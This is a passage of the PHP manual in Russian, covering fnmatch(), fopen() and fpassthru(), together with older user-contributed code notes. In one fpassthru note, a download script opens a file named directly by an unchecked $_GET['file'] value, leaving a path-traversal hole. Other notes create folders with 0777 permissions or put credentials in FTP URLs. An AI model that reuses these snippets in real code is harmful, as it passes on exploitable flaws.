However, to make JK's fnmatch() work with the example in the documentation, you also have to strtr the [ and ] in $pattern.
<?php
$pattern = strtr(preg_quote($pattern, '#'), array('\*' => '.*', '\?' => '.', '\[' => '[', '\]' => ']'));
?>
And thanks for the functions, guys.
Sinured 30-Jul-2007 10:14
Possible flags (scratched out of fnmatch.h):
...::...

FNM_PATHNAME:
> Slash in $string only matches slash in $pattern.

FNM_PERIOD:
> Leading period in $string must be exactly matched by period in $pattern.

FNM_NOESCAPE:
> Disable backslash escaping.

FNM_NOSYS:
> Obsolescent.

FNM_FILE_NAME:
> Alias of FNM_PATHNAME.

FNM_LEADING_DIR:
> From fnmatch.h: /* Ignore `/...' after a match.  */

FNM_CASEFOLD:
> Caseless match.

Since they're appearing in file.c, but are not available in PHP, we'll have to define them ourselves:
<?php
define('FNM_PATHNAME', 1);
define('FNM_PERIOD', 4);
define('FNM_NOESCAPE', 2);
// GNU extensions
define('FNM_FILE_NAME', FNM_PATHNAME);
define('FNM_LEADING_DIR', 8);
define('FNM_CASEFOLD', 16);
?>

I didn't test any of these except casefold, which worked for me.
Frederik Krautwald 12-Jun-2007 10:30
soywiz's function still doesn't seem to work -- at least not with PHP 5.2.3 on Windows -- but jk's does.
jk at ricochetsolutions dot com 13-Dec-2006 05:39
soywiz's function didnt seem to work for me, but this did.

<?php
if(!function_exists('fnmatch')) {

    function fnmatch($pattern, $string) {
        return preg_match("#^".strtr(preg_quote($pattern, '#'), array('\*' => '.*', '\?' => '.'))."$#i", $string);
    } // end

} // end if
?>
phlipping at yahoo dot com 06-Aug-2003 03:59
you couls also try this function that I wrote before I found fnmatch:

function WildToReg($str)
{
  $s = "";
  for ($i = 0; $i < strlen($str); $i++)
  {
   $c = $str{$i};
   if ($c =='?')
    $s .= '.'; // any character
   else if ($c == '*')
    $s .= '.*'; // 0 or more any characters
   else if ($c == '[' || $c == ']')
    $s .= $c;  // one of characters within []
   else
    $s .= '\\' . $c;
  }
  $s = '^' . $s . '$';

  //trim redundant ^ or $
  //eg ^.*\.txt$ matches exactly the same as \.txt$
  if (substr($s,0,3) == "^.*")
   $s = substr($s,3);
  if (substr($s,-3,3) == ".*$")
   $s = substr($s,0,-3);
  return $s;
}

if (ereg(WildToReg("*.txt"), $fn))
  print "$fn is a text file";
else
  print "$fn is not a text file";


Открывает файл или URL

  • « fnmatch
  • fpassthru »
  • PHP Manual
  • Функции файловой системы
  • Открывает файл или URL

fopen

(PHP 4, PHP 5, PHP 7, PHP 8)

fopen — Открывает файл или URL

Описание

fopen(
string $filename,
string $mode,
bool $use_include_path = false,
?resource $context = null
): resource|false

fopen() закрепляет именованный ресурс, указанный в аргументе filename, за потоком.

Список параметров

filename

Если filename передан в форме "scheme://...", он считается URL и PHP проведёт поиск обработчика протокола (также известного как "обёртка") для этой схемы. Если ни одна обёртка не закреплена за протоколом, PHP выдаст замечание, чтобы помочь вам отследить потенциальную проблему в вашем скрипте и затем продолжит выполнение, как если бы filename указывал на обыкновенный файл.

Если PHP установлено, что filename указывает на локальный файл, тогда выполняется попытка открыть поток к этому файлу. Файл должен быть доступен PHP, так что вам следует убедиться, что права доступа на файл это разрешают. Если вы включили open_basedir, то накладываются дальнейшие ограничения.

Если PHP установил, что filename указывает на зарегистрированный протокол и этот протокол зарегистрирован как сетевой URL, PHP выполняет проверку состояния директивы allow_url_fopen. Если она выключена, PHP выдаст предупреждение и вызов fopen закончится неудачей.

Замечание:

Список поддерживаемых протоколов доступен в разделе Поддерживаемые протоколы и обёртки. Некоторые протоколы (обёртки) поддерживают контекст и/или опции php.ini. Обратитесь к соответствующей странице с описанием используемого протокола для получения списка опций, которые могут быть установлены. (например, значение php.ini user_agent используется обёрткой http).

На платформе Windows, необходимо экранировать все обратные слеши в пути к файлу или использовать прямые слеши.

<?php
$handle = fopen("c:\\folder\\resource.txt", "r");
?>

mode

Параметр mode указывает тип доступа, который вы запрашиваете у потока. Он может быть одним из следующих вариантов:

Список возможных режимов для fopen(), используя mode
mode | Описание
'r' | Открывает файл только для чтения; помещает указатель в начало файла.
'r+' | Открывает файл для чтения и записи; помещает указатель в начало файла.
'w' | Открывает файл только для записи; в противном случае ведёт себя так же, как и 'w+'.
'w+' | Открывает файл для чтения и записи; помещает указатель в начало файла и обрезает файл до нулевой длины. Если файл не существует - пытается его создать.
'a' | Открывает файл только для записи; помещает указатель в конец файла. Если файл не существует - пытается его создать. В данном режиме функция fseek() не применима, записи всегда добавляются в конец.
'a+' | Открывает файл для чтения и записи; помещает указатель в конец файла. Если файл не существует - пытается его создать. В данном режиме функция fseek() влияет только на позицию чтения, записи всегда добавляются в конец.
'x' | Создаёт и открывает только для записи; помещает указатель в начало файла. Если файл уже существует, вызов fopen() закончится неудачей, вернёт false и выдаст ошибку уровня E_WARNING. Если файл не существует, попытается его создать. Это эквивалентно указанию флагов O_EXCL|O_CREAT для внутреннего системного вызова open(2).
'x+' | Создаёт и открывает для чтения и записи; в остальном имеет то же поведение, что и'x'.
'c' | Открывает файл только для записи. Если файл не существует, то он создаётся. Если же файл существует, то он не обрезается (в отличие от 'w'), и вызов к этой функции не вызывает ошибку (также как и в случае с 'x'). Указатель на файл будет установлен на начало файла. Это может быть полезно при желании заблокировать файл (смотрите flock()) перед изменением, так как использование 'w' может обрезать файл ещё до того как была получена блокировка (если вы желаете обрезать файл, можно использовать функцию ftruncate() после запроса на блокировку).
'c+' | Открывает файл для чтения и записи; в остальном имеет то же поведение, что и 'c'.
'e' | Установить флаг close-on-exec (закрыть при запуске) на открытый файловый дескриптор. Доступно только в PHP скомпилированном на системах поддерживающих POSIX.1-2008.

Замечание:

Разные семейства операционных систем имеют разные соглашения относительно окончания строк. Когда вы пишете текст и хотите вставить разрыв строки, вы должны использовать правильные символы (или символ) для вашей операционной системы. Системы семейства Unix используют \n в качестве символа конца строки, системы семейства Windows используют \r\n в качестве символов окончания строки и системы семейства Macintosh (Mac OS Classic) используют \r в качестве символа конца строки.

Если вы используете неверный символ конца строки при редактировании файлов, вы можете обнаружить, что при открытии эти файлы "странно выглядят".

Windows предлагает флаг режима текстовой трансляции ('t'), который автоматически переведёт \n в \r\n во время работы с файлом. И наоборот - вы также можете использовать 'b', чтобы принудительно включить бинарный режим, в котором ваши данные не будут преобразовываться. Чтобы использовать эти режимы, укажите 'b' или 't' последней буквой параметра mode.

Флагом трансляции по умолчанию является 'b'. Вы можете использовать режим 't', если работаете с текстовыми файлами и используете \n для обозначения конца строки в вашем скрипте, но при этом предполагаете, что ваши файлы будут использоваться в таких приложениях, как "Блокнот" (в устаревших версиях). Во всех остальных случаях используйте флаг 'b'.

Если вы укажете флаг 't' во время работы с бинарными файлами, вы можете столкнуться со странными проблемами с вашими данными, включая повреждённые файлы изображений и проблемы с символами \r\n.

Замечание:

Опять же из соображений портируемости крайне рекомендуется переписать старый код, который полагается на режим 't', чтобы вместо этого он использовал правильные концы строк и режим 'b'.

Замечание: Параметр mode игнорируется при работе с обёртками потока php://output, php://input, php://stdin, php://stdout, php://stderr и php://fd.

use_include_path

Необязательный третий параметр use_include_path может быть установлен в '1' или true, если вы также хотите провести поиск файла в include_path.

context

Ресурс (resource) с контекстом потока.

Возвращаемые значения

Возвращает указатель на файл в случае успешного выполнения или false в случае возникновения ошибки

Ошибки

В случае неудачного завершения работы генерируется ошибка уровня E_WARNING.

Список изменений

Версия | Описание
7.0.16, 7.1.2 | Добавлена опция 'e'.

Примеры

Пример #1 Примеры использования fopen()

<?php
$handle = fopen("/home/rasmus/file.txt", "r");
$handle = fopen("/home/rasmus/file.gif", "wb");
$handle = fopen("http://www.example.com/", "r");
$handle = fopen("ftp://user:password@example.com/somefile.txt", "w");
?>

Примечания

Внимание

При использовании SSL, Microsoft IIS нарушает протокол, закрывая соединение без отправки индикатора close_notify. PHP сообщит об этом как "SSL: Fatal Protocol Error" в тот момент, когда вы достигнете конца данных. Чтобы обойти это, вы должны установить error_reporting на уровень, исключающий E_WARNING. PHP умеет определять, что на стороне сервера находится проблемный IIS при открытии потока с помощью обёртки https:// и не выводит предупреждение. Если вы используете fsockopen() для создания ssl:// сокета, вы сами отвечаете за определение и подавление этого предупреждения.

Замечание:

Если вы сталкиваетесь с проблемами во время чтения или записи файлов, и вы используете PHP в виде серверного модуля, убедитесь в том, что процесс сервера имеет доступ к используемым вами файлам и директориям.

Замечание:

Данная функция также может принимать директории в качестве параметра filename. Если вы не знаете, является ли filename файлом или директорией, то вам может понадобиться использовать функцию is_dir() до вызова функции fopen().

Смотрите также

  • Поддерживаемые протоколы и обёртки
  • fclose() - Закрывает открытый дескриптор файла
  • fgets() - Читает строку из файла
  • fread() - Бинарно-безопасное чтение файла
  • fwrite() - Бинарно-безопасная запись в файл
  • fsockopen() - Открывает соединение с интернет-сокетом или доменным сокетом Unix
  • file() - Читает содержимое файла и помещает его в массив
  • file_exists() - Проверяет существование указанного файла или каталога
  • is_readable() - Определяет существование файла и доступен ли он для чтения
  • stream_set_timeout() - Установить значение времени ожидания для потока
  • popen() - Открывает файловый указатель процесса
  • stream_context_create() - Создаёт контекст потока
  • umask() - Изменяет текущую umask
  • SplFileObject

User Contributed Notes

Derrick 13-Jan-2023 06:32
Opening a file in "r+" mode, and then trying to set the file pointer position with ftruncate before reading the file will result in file data loss, as though you opened the file in "w" mode.

EX:

$File = fopen($FilePath,"r+");  // OPEN FILE IN READ-WRITE

ftruncate($File, 0);  // SET POINTER POSITION (Will Erase Data)

while(! feof($File)) {  // CONTINUE UNTIL END OF FILE IS REACHED

    $Line = fgets($File);  // GET A LINE FROM THE FILE INTO STRING
    $Line = trim($Line);  // TRIM STRING OF NEW LINE
}

ftruncate($File,0); // (Will Not Erase Data)

fclose($File);
wvss at gmail dot com 15-May-2022 07:11
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
<?php
// generiereHostliste.php

function generiereHostliste($file) {

   // aus Rechnerliste.csv lesen
   $fp = fopen($file, "r");
   while($row = fgetcsv($fp, 0, ";")) {
        $liste[]=[$row[0].";10.16.".$row[1].".".$row[2]];

   }
   fclose($fp);

   // in Hostliste.csv schreiben
   $fp = fopen("Hostliste.csv", "w");
   foreach($liste as $row) {
       echo "<pre>";
       print_r($row);
       echo "</pre>";
        fputcsv($fp, $row, ";");
   }
   fclose($fp);
}
// Test
$file = "Rechnerliste.csv";
generiereHostliste($file);

?>
</body>
</html>
wvss at gmail dot com 15-May-2022 07:10
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
<?php
// generiereHostliste.php

function generiereHostliste($file) {

   // aus Rechnerliste.csv lesen
   $fp = fopen($file, "r");
   while($row = fgetcsv($fp, 0, ";")) {
        $liste[]=[$row[0].";10.16.".$row[1].".".$row[2]];

   }
   fclose($fp);

   // in Hostliste.csv schreiben
   $fp = fopen("Hostliste.csv", "w");
   foreach($liste as $row) {
       echo "<pre>";
       print_r($row);
       echo "</pre>";
        fputcsv($fp, $row, ";");
   }
   fclose($fp);
}
// Test
$file = "Rechnerliste.csv";
generiereHostliste($file);

?>
</body>
</html>
Anon. 07-Nov-2020 10:31
/***** GENTLE REMINDER *****/
Really important. Do NOT use the "w" flag unless you want to delete everything in the file.
php-manual at merlindynamics dot com 20-May-2020 10:19
There is an undocumented mode for making fopen non-blocking (not working on windows). By adding 'n' to the mode parameter, fopen will not block, however if the pipe does not exist an error will be raised.

$fp = fopen("/tmp/debug", "a"); //blocks if pipe does not exist

$fp = fopen("/tmp/debug", "an"); //raises error on pipe not exist
k-gun at git dot io 27-Oct-2019 06:22
Seems not documented here but keep in mind, when $filename contains null byte (\0) then a TypeError will be thrown with message such;

TypeError: fopen() expects parameter 1 to be a valid path, string given in ...
etters dot ayoub at gmail dot com 02-Feb-2018 04:18
This functions check recursive permissions and recursive existence parent folders, before creating a folder. To avoid the generation of errors/warnings.

/**
 * This functions check recursive permissions and recursive existence parent folders,
 * before creating a folder. To avoid the generation of errors/warnings.
 *
 * @return bool
 *     true folder has been created or exist and writable.
 *     False folder not exist and cannot be created.
 */
function createWritableFolder($folder)
{
    if (file_exists($folder)) {
        // Folder exist.
        return is_writable($folder);
    }
    // Folder not exit, check parent folder.
    $folderParent = dirname($folder);
    if($folderParent != '.' && $folderParent != '/' ) {
        if(!createWritableFolder(dirname($folder))) {
            // Failed to create folder parent.
            return false;
        }
        // Folder parent created.
    }

    if ( is_writable($folderParent) ) {
        // Folder parent is writable.
        if ( mkdir($folder, 0777, true) ) {
            // Folder created.
            return true;
        }
        // Failed to create folder.
    }
    // Folder parent is not writable.
    return false;
}

/**
 * This functions check recursive permissions and recursive existence parent folders,
 * before creating a file/folder. To avoid the generation of errors/warnings.
 *
 * @return bool
 *     true has been created or file exist and writable.
 *     False file not exist and cannot be created.
 */
function createWritableFile($file)
{
    // Check if conf file exist.
    if (file_exists($file)) {
        // check if conf file is writable.
        return is_writable($file);
    }

    // Check if conf folder exist and try to create conf file.
    if(createWritableFolder(dirname($file)) && ($handle = fopen($file, 'a'))) {
        fclose($handle);
        return true; // File conf created.
    }
    // Inaccessible conf file.
    return false;
}
petepostma-deletethis at gmail dot com 12-Apr-2017 03:40
The verbal descriptions take a while to read through to get a feel for the expected results for fopen modes. This csv table can help break it down for quicker understanding to find which mode you are looking for:

Mode,Creates,Reads,Writes,Pointer Starts,Truncates File,Notes,Purpose
r,,y,,beginning,,fails if file doesn't exist,basic read existing file
r+,,y,y,beginning,,fails if file doesn't exist,basic r/w existing file
w,y,,y,beginning+end,y,,"create, erase, write file"
w+,y,y,y,beginning+end,y,,"create, erase, write file with read option"
a,y,,y,end,,,"write from end of file, create if needed"
a+,y,y,y,end,,,"write from end of file, create if needed, with read options"
x,y,,y,beginning,,fails if file exists,"like w, but prevents over-writing an existing file"
x+,y,y,y,beginning,,fails if file exists,"like w+, but prevents over writing an existing file"
c,y,,y,beginning,,,open/create a file for writing without deleting current content
c+,y,y,y,beginning,,,"open/create a file that is read, and then written back down"
apathetic012 at gmail dot com 04-Sep-2012 03:19
a variable $http_response_header is available when doing the fopen(). Which contains an array of the response header.
chapman at worldtakeoverindustries dot com 09-Mar-2012 07:25
Note - using fopen in 'w' mode will NOT update the modification time (filemtime) of a file like you may expect. You may want to issue a touch() after writing and closing the file which update its modification time. This may become critical in a caching situation, if you intend to keep your hair.
kasper at webmasteren dot eu 10-Feb-2012 08:36
"Do not use the following reserved device names for the name of a file:
CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1,
LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. Also avoid these names
followed immediately by an extension; for example, NUL.txt is not recommended.
For more information, see Namespaces"
it is a windows limitation.
see:
http://msdn.microsoft.com/en-us/library/windows/desktop/aa365247(v=vs.85).aspx
php at richardneill dot org 01-Aug-2011 09:39
fopen() will block if the file to be opened is a fifo. This is true whether it's opened in "r" or "w" mode.  (See man 7 fifo: this is the correct, default behaviour; although Linux supports non-blocking fopen() of a fifo, PHP doesn't).
The consequence of this is that you can't discover whether an initial fifo read/write would block because to do that you need stream_select(), which in turn requires that fopen() has happened!
splogamurugan at gmail dot com 09-Jun-2011 02:13
While opening a file with multibyte data (Ex: donnees multi-octets), faced some issues with the encoding. Got to know that it uses  windows-1250. Used iconv to convert it to UTF-8 and it resolved the issue.

<?php
function utf8_fopen_read($fileName) {
    $fc = iconv('windows-1250', 'utf-8', file_get_contents($fileName));
    $handle=fopen("php://memory", "rw");
    fwrite($handle, $fc);
    fseek($handle, 0);
    return $handle;
}
?>

Example usage:

<?php
$fh = utf8_fopen_read("./tpKpiBundle.csv");
while (($data = fgetcsv($fh, 1000, ",")) !== false) {
    foreach ($data as $value) {
        echo $value . "<br />\n";
    }
}
?>

Hope it helps.
php at delhelsa dot com 24-Jun-2008 12:27
With php 5.2.5 on Apache 2.2.4, accessing files on an ftp server with fopen() or readfile() requires an extra forwardslash if an absolute path is needed.

i.e., if a file called bullbes.txt is stored under /var/school/ on ftp server example.com and you're trying to access it with user blossom and password buttercup, the url would be:

ftp://blossom:buttercup@example.com//var/school/bubbles.txt

Note the two forwardslashes. It looks like the second one is needed so the server won't interpret the path as relative to blossom's home on townsville.
sean downey 09-Feb-2008 12:23
when using ssl / https on windows i would get the error:
"Warning: fopen(https://example.com): failed to open stream: Invalid argument in someSpecialFile.php on line 4344534"

This was because I did not have the extension "php_openssl.dll" enabled.

So if you have the same problem, goto your php.ini file and enable it :)
ceo at l-i-e dot com 10-Apr-2006 08:13
If you need fopen() on a URL to timeout, you can do like:
<?php
  $timeout = 3;
  $old = ini_set('default_socket_timeout', $timeout);
  $file = fopen('http://example.com', 'r');
  ini_set('default_socket_timeout', $old);
  stream_set_timeout($file, $timeout);
  stream_set_blocking($file, 0);
  //the rest is standard
?>
flobee 14-Jan-2006 07:58
download: i need a function to simulate a "wget url" and do not buffer the data in the memory to avoid thouse problems on large files:
<?php
function download($file_source, $file_target) {
        $rh = fopen($file_source, 'rb');
        $wh = fopen($file_target, 'wb');
        if ($rh===false || $wh===false) {
// error reading or opening file
           return true;
        }
        while (!feof($rh)) {
            if (fwrite($wh, fread($rh, 1024)) === FALSE) {
                   // 'Download error: Cannot write to file ('.$file_target.')';
                   return true;
               }
        }
        fclose($rh);
        fclose($wh);
        // No error
        return false;
    }
?>
info at b1g dot de 24-Oct-2005 04:54
Simple class to fetch a HTTP URL. Supports "Location:"-redirections. Useful for servers with allow_url_fopen=false. Works with SSL-secured hosts.

<?php
#usage:
$r = new HTTPRequest('http://www.example.com');
echo $r->DownloadToString();

class HTTPRequest
{
    var $_fp;        // HTTP socket
    var $_url;        // full URL
    var $_host;        // HTTP host
    var $_protocol;    // protocol (HTTP/HTTPS)
    var $_uri;        // request URI
    var $_port;        // port

    // scan url
    function _scan_url()
    {
        $req = $this->_url;

        $pos = strpos($req, '://');
        $this->_protocol = strtolower(substr($req, 0, $pos));

        $req = substr($req, $pos+3);
        $pos = strpos($req, '/');
        if($pos === false)
            $pos = strlen($req);
        $host = substr($req, 0, $pos);

        if(strpos($host, ':') !== false)
        {
            list($this->_host, $this->_port) = explode(':', $host);
        }
        else
        {
            $this->_host = $host;
            $this->_port = ($this->_protocol == 'https') ? 443 : 80;
        }

        $this->_uri = substr($req, $pos);
        if($this->_uri == '')
            $this->_uri = '/';
    }

    // constructor
    function HTTPRequest($url)
    {
        $this->_url = $url;
        $this->_scan_url();
    }

    // download URL to string
    function DownloadToString()
    {
        $crlf = "\r\n";

        // generate request
        $req = 'GET ' . $this->_uri . ' HTTP/1.0' . $crlf
            .    'Host: ' . $this->_host . $crlf
            .    $crlf;

        // fetch
        $this->_fp = fsockopen(($this->_protocol == 'https' ? 'ssl://' : '') . $this->_host, $this->_port);
        fwrite($this->_fp, $req);
        while(is_resource($this->_fp) && $this->_fp && !feof($this->_fp))
            $response .= fread($this->_fp, 1024);
        fclose($this->_fp);

        // split header and body
        $pos = strpos($response, $crlf . $crlf);
        if($pos === false)
            return($response);
        $header = substr($response, 0, $pos);
        $body = substr($response, $pos + 2 * strlen($crlf));

        // parse headers
        $headers = array();
        $lines = explode($crlf, $header);
        foreach($lines as $line)
            if(($pos = strpos($line, ':')) !== false)
                $headers[strtolower(trim(substr($line, 0, $pos)))] = trim(substr($line, $pos+1));

        // redirection?
        if(isset($headers['location']))
        {
            $http = new HTTPRequest($headers['location']);
            return($http->DownloadToString($http));
        }
        else
        {
            return($body);
        }
    }
}
?>
durwood at speakeasy dot NOSPAM dot net 06-Sep-2005 11:43
I couldn't for the life of me get a certain php script working when i moved my server to a new Fedora 4 installation. The problem was that fopen() was failing when trying to access a file as a URL through apache -- even though it worked fine when run from the shell and even though the file was readily readable from any browser.  After trying to place blame on Apache, RedHat, and even my cat and dog, I finally ran across this bug report on Redhat's website:

https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=164700

Basically the problem was SELinux (which I knew nothing about) -- you have to run the following command in order for SELinux to allow php to open a web file:

/usr/sbin/setsebool httpd_can_network_connect=1

To make the change permanent, run it with the -P option:

/usr/sbin/setsebool -P httpd_can_network_connect=1

Hope this helps others out -- it sure took me a long time to track down the problem.
ideacode 03-Aug-2005 07:28
Note that whether you may open directories is operating system dependent. The following lines:

<?php
// Windows ($fh === false)
$fh = fopen('c:\\Temp', 'r');

// UNIX (is_resource($fh) === true)
$fh = fopen('/tmp', 'r');
?>

demonstrate that on Windows (2000, probably XP) you may not open a directory (the error is "Permission Denied"), regardless of the security permissions on that directory.

On UNIX, you may happily read the directory format for the native filesystem.
ken dot gregg at rwre dot com 25-Nov-2003 03:03
PHP will open a directory if a path with no file name is supplied. This just bit me. I was not checking the filename part of a concatenated string.

For example:

<?php
$fd = fopen('/home/mydir/' . $somefile, 'r');
?>

Will open the directory if $somefile = ''

If you attempt to read using the file handle you will get the binary directory contents. I tried append mode and it errors out so does not seem to be dangerous.

This is with FreeBSD 4.5 and PHP 4.3.1. Behaves the same on 4.1.1 and PHP 4.1.2. I have not tested other version/os combinations.
dan at cleandns dot com 19-Nov-2003 11:15
<?php
#going to update last users counter script since
#aborting a write because a file is locked is not correct.

$counter_file = '/tmp/counter.txt';
clearstatcache();
ignore_user_abort(true);     ## prevent refresh from aborting file operations and hosing file
if (file_exists($counter_file)) {
   $fh = fopen($counter_file, 'r+');
    while(1) {
      if (flock($fh, LOCK_EX)) {
         #$buffer = chop(fgets($fh, 2));
         $buffer = chop(fread($fh, filesize($counter_file)));
         $buffer++;
         rewind($fh);
         fwrite($fh, $buffer);
         fflush($fh);
         ftruncate($fh, ftell($fh));
         flock($fh, LOCK_UN);
         break;
      }
   }
}
else {
   $fh = fopen($counter_file, 'w+');
   fwrite($fh, "1");
   $buffer="1";
}
fclose($fh);

print "Count is $buffer";

?>
keithm at aoeex dot NOSPAM dot com 31-Jul-2001 05:19
I was working on a consol script for win32 and noticed a few things about it.  On win32 it appears that you can't re-open the input stream for reading, but rather you have to open it once, and read from there on.  Also, i don't know if this is a bug or what but it appears that fgets() reads until the new line anyway.  The number of characters returned is ok, but it will not halt reading and return to the script.  I don't know of a work around for this right now, but i'll keep working on it.

This is some code to work around the close and re-open of stdin.

<?php
function read($length='255'){
    if (!isset($GLOBALS['StdinPointer'])){
        $GLOBALS['StdinPointer']=fopen("php://stdin","r");
    }
    $line=fgets($GLOBALS['StdinPointer'],$length);
    return trim($line);
}
echo "Enter your name: ";
$name=read();
echo "Enter your age: ";
$age=read();
echo "Hi $name, Isn't it Great to be $age years old?";
@fclose($StdinPointer);
?>


Выводит все оставшиеся данные из файлового указателя

  • « fopen
  • fputcsv »
  • PHP Manual
  • Функции файловой системы
  • Выводит все оставшиеся данные из файлового указателя

fpassthru

(PHP 4, PHP 5, PHP 7, PHP 8)

fpassthru — Выводит все оставшиеся данные из файлового указателя

Описание

fpassthru(resource $stream): int

Читает указанный файловый указатель с текущей позиции до EOF (конца файла) и записывает результат в буфер вывода.

Вам может понадобиться вызвать rewind(), чтобы сбросить файловый указатель на начало файла, если вы уже записывали данные в файл.

Если вы хотите просто сбросить содержимое файла в буфер вывода, предварительно не модифицируя его и не начиная с определённого смещения, вы можете воспользоваться readfile(), которая избавит вас от лишнего вызова fopen().

Список параметров

stream

Указатель на файл должен быть корректным и указывать на файл, успешно открытый функциями fopen() или fsockopen() (и всё ещё не закрытый функцией fclose()).

Возвращаемые значения

Возвращает количество символов, прочтённых из stream и переданных на вывод.

Примеры

Пример #1 Использование fpassthru() с бинарными файлами

<?php

// открываем файл в бинарном режиме
$name = './img/ok.png';
$fp = fopen($name, 'rb');

// отправляем нужные заголовки
header("Content-Type: image/png");
header("Content-Length: " . filesize($name));

// сбрасываем картинку и останавливаем выполнение скрипта
fpassthru($fp);
exit;

?>

Примечания

Замечание:

При использовании fpassthru() на бинарном файле в Windows, вы должны убедиться в том, что открыли файл в бинарном режиме при помощи добавления b к режиму открытия файла, использованному в fopen().

Рекомендуется использовать флаг b при работе с бинарными файлами, даже если ваша система этого не требует, чтобы обеспечить более высокую портируемость скриптов.

Смотрите также

  • readfile() - Выводит файл
  • fopen() - Открывает файл или URL
  • popen() - Открывает файловый указатель процесса
  • fsockopen() - Открывает соединение с интернет-сокетом или доменным сокетом Unix

User Contributed Notes

RaulentRoi 06-Jun-2013 02:55
Passthru didn't work for me for files greater than about 5Mb. Just adding "ob_end_clean()", all works fine now, including > 50Mb files.

$ToProtectedFile=$pathUnder.$filename
$handle = @fopen($ToProtectedFile, "rb");

@header("Cache-Control: no-cache, must-revalidate");
@header("Pragma: no-cache"); //keeps ie happy
@header("Content-Disposition: attachment; filename= ".$NomFichier);
@header("Content-type: application/octet-stream");
@header("Content-Length: ".$SizeOfFile);
@header('Content-Transfer-Encoding: binary');

ob_end_clean();//required here or large files will not work
@fpassthru($handle);//works fine now
public at telcontar dot net 08-Apr-2007 01:26
(Do not delete this, it is NOT a bug report. It is a *follow up* to vague comments on the page about fpassthru() using excessive memory, and a usage tip that if you want to use pass-through processing, PHP 5 is strongly advised. It may LOOK like a bug report because unlike earlier tips, I've tried to clarify the situation. It is not a bug report because the problem is RESOLVED in PHP 5. Rather, anyone still using PHP 4 (for example, for compatibility reasons) should simply be aware that the problem is now resolved.)

In PHP 4 (4.4.4 tested as a CGI, Apache 2, Linux), use of both fpassthru() and fread() in a loop suffer the SAME memory "leakage". This is characterised by all data that is sent to the client also being kept inside PHP and not released. It would appear to be a failure to garbage collect the data.

In PHP 5 (5.2.1 tested as a CGI, Apache 2, Linux) this flaw is resolved in both cases. Neither fpassthru() nor fread() in a loop "leak" memory during execution.

The issue of which one to use appears not to be an issue of memory as both were equally flawed in PHP 4 and both are equally fixed in PHP 5.

Speed, is left to a reader exercise to test in the latest PHPs.
sarabas at itstudio dot pl 23-Mar-2007 02:55
In case of multiple buffering possibility try running ob_end_clean() from the example below in a loop:

while (@ob_end_clean());

It will help for example in case of automatic gz compression of output.
file downloads verified by session vars 21-Oct-2005 08:36
here is my code, i tried several combinations, but most of them didnt work, and had all kinds of unnecessary headers in them, etc. this has additional good features, such as it stops sending the file if the connection stops (hopefully it does anyways), and it fixes IE filename problems when sending files that contain more than one dot in them by using a simple  preg_replace (IE likes to terminate the filename and messes everything up):

<?
function send_file($path) {
    session_write_close();
    ob_end_clean();
    if (!is_file($path) || connection_status()!=0)
        return(FALSE);

    //to prevent long file from getting cut off from     //max_execution_time

    set_time_limit(0);

    $name=basename($path);

    //filenames in IE containing dots will screw up the
    //filename unless we add this

    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE"))
        $name = preg_replace('/\./', '%2e', $name, substr_count($name, '.') - 1);

    //required, or it might try to send the serving     //document instead of the file

    header("Cache-Control: ");
    header("Pragma: ");
    header("Content-Type: application/octet-stream");
    header("Content-Length: " .(string)(filesize($path)) );
    header('Content-Disposition: attachment; filename="'.$name.'"');
    header("Content-Transfer-Encoding: binary\n");

    if($file = fopen($path, 'rb')){
        while( (!feof($file)) && (connection_status()==0) ){
            print(fread($file, 1024*8));
            flush();
        }
        fclose($file);
    }
    return((connection_status()==0) and !connection_aborted());
}

?>
jonathan at corporacionlinux dot cl 05-Aug-2005 08:58
While trying to "passthru" a file to the browser via PHP, but using the FEOF loop, the script tried to buffer the entire file before passing it to the browser. This is my original script. When calling it with a 15M PHP memory limit and a 16M file, apache killed the script.

<?php
    $name = $tempDir . $_GET["file"];
    $fd = fopen($name, 'rb');

    if($fd == false)

        die("<font color=red>ERROR: File not found.</font>");

    // send the right headers
    header("Cache-Control: ");// leave blank to avoid IE errors
    header("Pragma: ");// leave blank to avoid IE errors
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"" . $_GET["file"] . "\"");
    header("Content-length:".(string)(filesize($name)));
    sleep(1);

    session_write_close();
    ob_flush();
    flush();

         while(!feof($fd)) {

               $buffer = fread($fd, 2048);
               print $buffer;
         }

         fclose ($fd);
         exit;
?>

Apache error log read:
Allowed memory size of 15728640 bytes exhausted (tried to allocate 10240 bytes)

I tried everything, including a flush() inside the loop. But the solution was forcing the flush other way:

<?php

    $buffer = fread($fd, 32 * 1024);

?>

voila... works just fine for me.
webmaster at hardcorehoneyz dot com 16-Dec-2004 05:20
In relation to using sessions and fpassthru together.

Try adding: session_write_close()

somewhere near the top of the download script, before you start sending the video, and that should take care of it.

I've implemented and tested session_write_close() and it works like a dream. Other links can now be clicked and loaded whilst a big file is being passed using fpassthru.

Big thanks to Greg for this tip. What a helpful community we live in :0)
webmaster at hardcorehoneyz dot com 06-Dec-2004 05:33
I believe the following problem is a result of using sessions and fpassthru together.

I have a subscription based site which protects large video files (WMV format between 100-120MB) by storing them beneath web root. Downloading a video file requires the user to click a HTML link which requests a PHP script e.g. download-video.php?video_id=123. If the user is valid (session vars created from sucessful login) the script then creates the necessary headers to trigger a 'Save As' download box, opens the file from beneath web root and sends it using fpassthru.

The problem is as follows:

The user should be able to click other links on the site whilst a file is downloading. But when they do so, the requested page won't load until the download is complete.

As this download script is a seperate PHP request, the user should be able to load other pages on the site whilst the file is downloading.

At time of writing, I've tried almost everything to remove this bug. There must be a problem with using a PHP script rather than a direct web server link to download files.
lbaudrillard at hotmail dot com 15-Nov-2004 12:45
The way the PHP page is generated (buffered or not, and how if buffered) has an impact of the download function made using fpassthru (or fread, ...). I mean a download function may work just fine when it is called from a simple php file (no buffering here):

<?php
    function download($file) { ... }

    $filename = "/tmp/test.zip";
    download($filename);
?>

but may fails "in the real life" when the page is buffered:

<?php
    ob_start("ob_gzhandler");
    ...
    require_once(download.php);
    ...
